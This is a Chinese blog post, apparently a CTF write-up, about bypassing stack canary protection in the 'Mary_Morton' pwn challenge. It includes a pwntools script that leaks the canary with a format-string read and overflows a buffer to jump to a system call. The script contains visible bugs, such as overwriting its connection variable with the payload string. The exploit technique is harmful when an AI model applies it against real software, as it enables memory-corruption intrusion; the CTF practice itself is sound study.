buuctf pwn wp(第六波)学会绕过Canary保护

本文深入解析Canary机制在程序安全中的应用,通过攻防世界题目的实战演示,详细阐述了如何确定Canary值的位置及利用技巧。文章提供了一个Python脚本示例,展示如何远程连接目标,获取Canary值,并构造payload进行攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

我在前面已经介绍过关于canary的内容了,所以这里直接引用并附上链接

然后我们照例先看看攻防世界的题目

这道题就是攻防世界进阶区的第一道题,其中点赞数最高的那个wp已经写得很明白了,我们这里只是复盘一下,有兴趣的可以自行去看看。

Mary_Morton

所谓的canary,就是系统会产生一个随机数,在程序的开始和结束给出,如何发生改变,那么程序就会报错退出。
如何确定canary的位置,如图,定义一个变量,在程序结束后返回,就是canary的值
在这里插入图片描述
在这里插入图片描述
先看看main
在这里插入图片描述
然后我们点开变量buf,位置在0x90位置
在这里插入图片描述
而canary在0x08的位置,两者距离为0x88,所以我们的思路就是
在这里插入图片描述

from pwn import *
p=remote("111.198.29.45",42124)

system_addr=p64(0x4008de)
p.sendlineafter('\n',2)
p.sendline('%23$p')
p.recvuntil('0x')
ss=p.recv(16)
pp=int(ss,16)
pp=p64(pp)
p.sendline('1')
p='a'*17*8+pp+'a'*8+system_addr
p.sendline(p)
print p.recv()

然后我们来讲解一下这个脚本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值